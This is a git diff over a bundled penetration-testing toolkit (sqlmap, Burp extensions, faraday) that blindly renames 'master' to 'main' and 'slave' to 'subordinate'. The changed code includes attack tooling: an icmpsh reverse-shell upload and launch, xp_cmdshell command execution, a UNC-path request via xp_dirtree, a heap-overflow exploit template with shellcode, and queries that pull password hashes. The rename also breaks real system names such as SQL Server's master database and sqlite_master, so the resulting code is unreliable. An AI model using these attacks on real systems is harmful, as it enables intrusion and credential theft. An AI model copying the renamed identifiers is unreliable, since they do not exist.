diff --git a/Extender/Burp_saml/burp_saml.py b/Extender/Burp_saml/burp_saml.py index 0aaee33..f0340ef 100644 --- a/Extender/Burp_saml/burp_saml.py +++ b/Extender/Burp_saml/burp_saml.py @@ -153,7 +153,7 @@ def __init__(self, extender, controller, editable): # self.extender is our only access back to burp self.extender = extender - # A master "editable" boolean burp sends to instruct if can be edited + # A main "editable" boolean burp sends to instruct if can be edited # e.g. proxy history messages = not editable self.editable = editable diff --git a/Extender/PT-Manager/XlsxWriter-0.7.3/examples/images_bytesio.py b/Extender/PT-Manager/XlsxWriter-0.7.3/examples/images_bytesio.py index 406da12..1c18b8f 100644 --- a/Extender/PT-Manager/XlsxWriter-0.7.3/examples/images_bytesio.py +++ b/Extender/PT-Manager/XlsxWriter-0.7.3/examples/images_bytesio.py @@ -25,7 +25,7 @@ # Read an image from a remote url. url = 'https://raw.githubusercontent.com/jmcnamara/XlsxWriter/' + \ - 'master/examples/logo.png' + 'main/examples/logo.png' image_data = BytesIO(urlopen(url).read()) diff --git a/Extender/Sqlmap/extra/icmpsh/icmpsh_m.py b/Extender/Sqlmap/extra/icmpsh/icmpsh_m.py index 36fe449..e1f4f1f 100644 --- a/Extender/Sqlmap/extra/icmpsh/icmpsh_m.py +++ b/Extender/Sqlmap/extra/icmpsh/icmpsh_m.py @@ -38,7 +38,7 @@ def setNonBlocking(fd): def main(src, dst): if subprocess.mswindows: - sys.stderr.write('icmpsh master can only run on Posix systems\n') + sys.stderr.write('icmpsh main can only run on Posix systems\n') sys.exit(255) try: @@ -58,7 +58,7 @@ def main(src, dst): try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except socket.error: - sys.stderr.write('You need to run icmpsh master with administrator privileges\n') + sys.stderr.write('You need to run icmpsh main with administrator privileges\n') sys.exit(1) sock.setblocking(0) diff --git a/Extender/Sqlmap/lib/core/agent.py b/Extender/Sqlmap/lib/core/agent.py index 4c35c91..62247d9 100644 --- a/Extender/Sqlmap/lib/core/agent.py +++ b/Extender/Sqlmap/lib/core/agent.py @@ -410,9 +410,9 @@ def nullCastConcatFields(self, fields): Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ') Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' - Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password) - Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ') - Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins + Microsoft SQL Server input: name,main.dbo.fn_varbintohexstr(password) + Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(main.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ') + Microsoft SQL Server scope: SELECT name, main.dbo.fn_varbintohexstr(password) FROM main..sysxlogins @param fields: fields string to be processed @type fields: C{str} @@ -541,8 +541,8 @@ def concatQuery(self, query, unpack=True): Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' - Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins - Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins + Microsoft SQL Server input: SELECT name, main.dbo.fn_varbintohexstr(password) FROM main..sysxlogins + Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(main.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM main..sysxlogins @param query: query string to be processed @type query: C{str} @@ -669,8 +669,8 @@ def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83)) Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738 - Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins - Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254 + Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(main.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM main..sysxlogins + Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(main.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM main..sysxlogins-- AND 3254=3254 @param query: it is a processed query string unescaped to be forged within an UNION ALL SELECT statement diff --git a/Extender/Sqlmap/lib/core/dicts.py b/Extender/Sqlmap/lib/core/dicts.py index 0a3d7da..317f488 100644 --- a/Extender/Sqlmap/lib/core/dicts.py +++ b/Extender/Sqlmap/lib/core/dicts.py @@ -90,7 +90,7 @@ 17: "create_tmp_table_priv", 18: "lock_tables_priv", 19: "execute_priv", - 20: "repl_slave_priv", + 20: "repl_subordinate_priv", 21: "repl_client_priv", 22: "create_view_priv", 23: "show_view_priv", diff --git a/Extender/Sqlmap/lib/core/settings.py b/Extender/Sqlmap/lib/core/settings.py index 002bec0..9edf5b0 100644 --- a/Extender/Sqlmap/lib/core/settings.py +++ b/Extender/Sqlmap/lib/core/settings.py @@ -120,7 +120,7 @@ MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 # Suffix used for naming meta databases in DBMS(es) without explicit database name -METADB_SUFFIX = "_masterdb" +METADB_SUFFIX = "_maindb" # Minimum time response set needed for time-comparison based on standard deviation MIN_TIME_RESPONSES = 30 @@ -169,11 +169,11 @@ PYVERSION = sys.version.split()[0] # DBMS system databases -MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") +MSSQL_SYSTEM_DBS = ("Northwind", "main", "model", "msdb", "pubs", "tempdb") MYSQL_SYSTEM_DBS = ("information_schema", "mysql") # Before MySQL 5.0 only "mysql" PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast") ORACLE_SYSTEM_DBS = ("CTXSYS", "DBSNMP", "DMSYS", "EXFSYS", "MDSYS", "OLAPSYS", "ORDSYS", "OUTLN", "SYS", "SYSAUX", "SYSMAN", "SYSTEM", "TSMSYS", "WMSYS", "XDB") # These are TABLESPACE_NAME -SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") +SQLITE_SYSTEM_DBS = ("sqlite_main", "sqlite_temp_main") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\ "MSysAccessXML", "MSysModules", "MSysModules2") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\ @@ -183,7 +183,7 @@ "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\ "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") -SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") +SYBASE_SYSTEM_DBS = ("main", "model", "sybsystemdb", "sybsystemprocs") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\ "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") diff --git a/Extender/Sqlmap/lib/takeover/icmpsh.py b/Extender/Sqlmap/lib/takeover/icmpsh.py index 685b43a..60f83a4 100644 --- a/Extender/Sqlmap/lib/takeover/icmpsh.py +++ b/Extender/Sqlmap/lib/takeover/icmpsh.py @@ -8,7 +8,7 @@ import os import time -from extra.icmpsh.icmpsh_m import main as icmpshmaster +from extra.icmpsh.icmpsh_m import main as icmpshmain from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import normalizePath @@ -29,7 +29,7 @@ def _initVars(self): self.rhostStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname - self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_")) + self._icmpsubordinate = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_")) def _selectRhost(self): message = "what is the back-end DBMS address? [%s] " % self.remoteIP @@ -47,34 +47,34 @@ def _prepareIngredients(self, encode=True): self.lhostStr = ICMPsh._selectLhost(self) self.rhostStr = ICMPsh._selectRhost(self) - def _runIcmpshMaster(self): - infoMsg = "running icmpsh master locally" + def _runIcmpshMain(self): + infoMsg = "running icmpsh main locally" logger.info(infoMsg) - icmpshmaster(self.lhostStr, self.rhostStr) + icmpshmain(self.lhostStr, self.rhostStr) - def _runIcmpshSlaveRemote(self): - infoMsg = "running icmpsh slave remotely" + def _runIcmpshSubordinateRemote(self): + infoMsg = "running icmpsh subordinate remotely" logger.info(infoMsg) - cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr) + cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpsubordinateRemote, self.lhostStr) self.execCmd(cmd, silent=True) - def uploadIcmpshSlave(self, web=False): + def uploadIcmpshSubordinate(self, web=False): ICMPsh._initVars(self) self._randStr = randomStr(lowercase=True) - self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr + self._icmpsubordinateRemoteBase = "tmpi%s.exe" % self._randStr - self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) - self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) + self._icmpsubordinateRemote = "%s/%s" % (conf.tmpPath, self._icmpsubordinateRemoteBase) + self._icmpsubordinateRemote = ntToPosixSlashes(normalizePath(self._icmpsubordinateRemote)) - logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) + logger.info("uploading icmpsh subordinate to '%s'" % self._icmpsubordinateRemote) if web: - written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) + written = self.webUpload(self._icmpsubordinateRemote, os.path.split(self._icmpsubordinateRemote)[0], filepath=self._icmpsubordinate) else: - written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) + written = self.writeFile(self._icmpsubordinate, self._icmpsubordinateRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading icmpsh, it " @@ -93,13 +93,13 @@ def uploadIcmpshSlave(self, web=False): def icmpPwn(self): ICMPsh._prepareIngredients(self) - self._runIcmpshSlaveRemote() - self._runIcmpshMaster() + self._runIcmpshSubordinateRemote() + self._runIcmpshMain() - debugMsg = "icmpsh master exited" + debugMsg = "icmpsh main exited" logger.debug(debugMsg) time.sleep(1) - self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True) + self.execCmd("taskkill /F /IM %s" % self._icmpsubordinateRemoteBase, silent=True) time.sleep(1) - self.delRemoteFile(self._icmpslaveRemote) + self.delRemoteFile(self._icmpsubordinateRemote) diff --git a/Extender/Sqlmap/lib/takeover/xp_cmdshell.py b/Extender/Sqlmap/lib/takeover/xp_cmdshell.py index 706863c..b666a13 100644 --- a/Extender/Sqlmap/lib/takeover/xp_cmdshell.py +++ b/Extender/Sqlmap/lib/takeover/xp_cmdshell.py @@ -40,7 +40,7 @@ class Xp_cmdshell: """ def __init__(self): - self.xpCmdshellStr = "master..xp_cmdshell" + self.xpCmdshellStr = "main..xp_cmdshell" def _xpCmdshellCreate(self): cmd = "" @@ -53,7 +53,7 @@ def _xpCmdshellCreate(self): self._randStr = randomStr(lowercase=True) self._xpCmdshellNew = "xp_%s" % randomStr(lowercase=True) - self.xpCmdshellStr = "master..%s" % self._xpCmdshellNew + self.xpCmdshellStr = "main..%s" % self._xpCmdshellNew cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr, XP_CMDSHELL_NEW=self._xpCmdshellNew) diff --git a/Extender/Sqlmap/plugins/dbms/mssqlserver/takeover.py b/Extender/Sqlmap/plugins/dbms/mssqlserver/takeover.py index 2f3df49..e424f72 100644 --- a/Extender/Sqlmap/plugins/dbms/mssqlserver/takeover.py +++ b/Extender/Sqlmap/plugins/dbms/mssqlserver/takeover.py @@ -20,8 +20,8 @@ def __init__(self): GenericTakeover.__init__(self) def uncPathRequest(self): - #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) - inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) + #inject.goStacked("EXEC main..xp_fileexist '%s'" % self.uncPath, silent=True) + inject.goStacked("EXEC main..xp_dirtree '%s'" % self.uncPath) def spHeapOverflow(self): """ @@ -77,7 +77,7 @@ def spHeapOverflow(self): @counter INT SET @buf = ' DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int - EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' + EXEC main.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3320 @@ -134,7 +134,7 @@ def spHeapOverflow(self): SET @buf = @buf + @val END SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' - EXEC master..sp_executesql @buf + EXEC main..sp_executesql @buf """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") diff --git a/Extender/Sqlmap/plugins/dbms/sqlite/connector.py b/Extender/Sqlmap/plugins/dbms/sqlite/connector.py index dfe9dcf..1ed8fa0 100644 --- a/Extender/Sqlmap/plugins/dbms/sqlite/connector.py +++ b/Extender/Sqlmap/plugins/dbms/sqlite/connector.py @@ -43,7 +43,7 @@ def connect(self): self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) cursor = self.connector.cursor() - cursor.execute("SELECT * FROM sqlite_master") + cursor.execute("SELECT * FROM sqlite_main") cursor.close() except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: diff --git a/Extender/Sqlmap/plugins/generic/takeover.py b/Extender/Sqlmap/plugins/generic/takeover.py index e4aa962..44b2742 100644 --- a/Extender/Sqlmap/plugins/generic/takeover.py +++ b/Extender/Sqlmap/plugins/generic/takeover.py @@ -133,7 +133,7 @@ def osPwn(self): from impacket import ImpactPacket except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " - errMsg += "in order to run icmpsh master. You can get it at " + errMsg += "in order to run icmpsh main. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) @@ -210,7 +210,7 @@ def osPwn(self): logger.debug(debugMsg) elif tunnel == 2: - setupSuccess = self.uploadIcmpshSlave(web=web) + setupSuccess = self.uploadIcmpshSubordinate(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): @@ -250,7 +250,7 @@ def osPwn(self): raise SqlmapFilePathException(msg) elif tunnel == 2: - setupSuccess = self.uploadIcmpshSlave(web=web) + setupSuccess = self.uploadIcmpshSubordinate(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" diff --git a/Extender/Sqlmap/thirdparty/clientform/clientform.py b/Extender/Sqlmap/thirdparty/clientform/clientform.py index 3ac1534..138a04b 100644 --- a/Extender/Sqlmap/thirdparty/clientform/clientform.py +++ b/Extender/Sqlmap/thirdparty/clientform/clientform.py @@ -1746,7 +1746,7 @@ class ListControl(Control): # ListControls are built up by the parser from their component items by # creating one ListControl per item, consolidating them into a single - # master ListControl held by the HTMLForm: + # main ListControl held by the HTMLForm: # -User calls form.new_control(...) # -Form creates Control, and calls control.add_to_form(self). diff --git a/Extender/burp-protobuf-decoder/Lib/pkg_resources.py b/Extender/burp-protobuf-decoder/Lib/pkg_resources.py index e8dae8a..e336ef6 100644 --- a/Extender/burp-protobuf-decoder/Lib/pkg_resources.py +++ b/Extender/burp-protobuf-decoder/Lib/pkg_resources.py @@ -2693,7 +2693,7 @@ def _initialize(g): g[name] = getattr(_manager, name) _initialize(globals()) -# Prepare the master working set and make the ``require()`` API available +# Prepare the main working set and make the ``require()`` API available _declare_state('object', working_set = WorkingSet()) try: diff --git a/Extender/faraday/shell/controller/qt3/session.py b/Extender/faraday/shell/controller/qt3/session.py index c218a05..cb69ea7 100644 --- a/Extender/faraday/shell/controller/qt3/session.py +++ b/Extender/faraday/shell/controller/qt3/session.py @@ -43,7 +43,7 @@ def __init__(self, gui, pgm, args, term, sessionid='session-1', cwd=None): super(Session, self).__init__() self.monitor_activity = False self._monitor_silence = False # see the property below - self.master_mode = False + self.main_mode = False # FIXME: using the indices here is propably very bad. We should use a # persistent reference instead. self.schema_no = 0 diff --git a/Extender/faraday/shell/core/qt3/pty_.py b/Extender/faraday/shell/core/qt3/pty_.py index 5cfeb2a..b2c995c 100644 --- a/Extender/faraday/shell/core/qt3/pty_.py +++ b/Extender/faraday/shell/core/qt3/pty_.py @@ -140,15 +140,15 @@ def run(self, pgm, args, term, addutmp): def openPty(self): """""" - self.master_fd, self.slave_fd = openpty() - #print os.ttyname(self.master_fd) - #print os.ttyname(self.slave_fd) - fcntl(self.master_fd, F_SETFL, os.O_NDELAY) - return self.master_fd + self.main_fd, self.subordinate_fd = openpty() + #print os.ttyname(self.main_fd) + #print os.ttyname(self.subordinate_fd) + fcntl(self.main_fd, F_SETFL, os.O_NDELAY) + return self.main_fd def setWriteable(self, writeable): - """set the slave pty writable""" - ttyname = os.ttyname(self.slave_fd) + """set the subordinate pty writable""" + ttyname = os.ttyname(self.subordinate_fd) mode = os.stat(ttyname).st_mode if writeable: mode |= stat.S_IWGRP @@ -160,14 +160,14 @@ def setSize(self, lines, columns): """Informs the client program about the actual size of the window.""" #print 'PTY set size', lines, columns self.wsize = (lines, columns) - if self.master_fd is None: + if self.main_fd is None: return #print 'PTY propagate size' - ioctl(self.master_fd, TIOCSWINSZ, pack('4H', lines, columns, 0, 0)) + ioctl(self.main_fd, TIOCSWINSZ, pack('4H', lines, columns, 0, 0)) def setupCommunication(self): """overriden from Process""" - self.out[0] = self.master_fd + self.out[0] = self.main_fd self.out[1] = os.dup(2) # Dummy def sendBytes(self, string): @@ -179,7 +179,7 @@ def sendBytes(self, string): written = 0 while written < len(string): try: - written += os.write(self.master_fd, string[written:]) + written += os.write(self.main_fd, string[written:]) except OSError, ex: if ex.errno in (errno.EAGAIN, errno.EINTR): self.appendSendJob(string) @@ -199,7 +199,7 @@ def doSendJobs(self): """qt slot""" while self._pending_send_jobs: job = self._pending_send_jobs[0] - job.start += os.write(self.master_fd, job.string[job.start:]) + job.start += os.write(self.main_fd, job.string[job.start:]) #if ( errno!=EAGAIN and errno!=EINTR ) # self._pending_send_jobs.remove(self._pending_send_jobs.begin()) # return @@ -232,8 +232,8 @@ def dataReceived(self, fd, lenlist): def donePty(self): """qt slot""" ## if HAVE_UTEMPTER and self.addutmp: -## utmp = UtmpProcess(self.master_fd, '-d', -## os.ttyname(self.slave_fd)) +## utmp = UtmpProcess(self.main_fd, '-d', +## os.ttyname(self.subordinate_fd)) ## utmp.start(RUN_BLOCK) # this is called when the shell process exits self.myemit('done', (self.exitStatus(),)) @@ -411,7 +411,7 @@ def _childStart(self, uid, gid, fd, arguments): # drop privileges os.setgid(gid) os.setuid(uid) - tt = self.slave_fd + tt = self.subordinate_fd # reset signal handlers for child process for i in range(1, signal.NSIG): try: @@ -426,7 +426,7 @@ def _childStart(self, uid, gid, fd, arguments): # Especially the one used by Process.start to see if we are running ok. for i in range(soft): # FIXME: (result of merge) Check if (not) closing fd is OK) - if i != tt:# and i != self.master_fd): + if i != tt:# and i != self.main_fd): try: os.close(i) except OSError: @@ -458,7 +458,7 @@ def _childStart(self, uid, gid, fd, arguments): tty_attrs[-1][VERASE] = 0177 tcsetattr(0, TCSANOW, tty_attrs); - #os.close(self.master_fd) + #os.close(self.main_fd) # propagate emulation if self.term: os.environ['TERM'] = self.term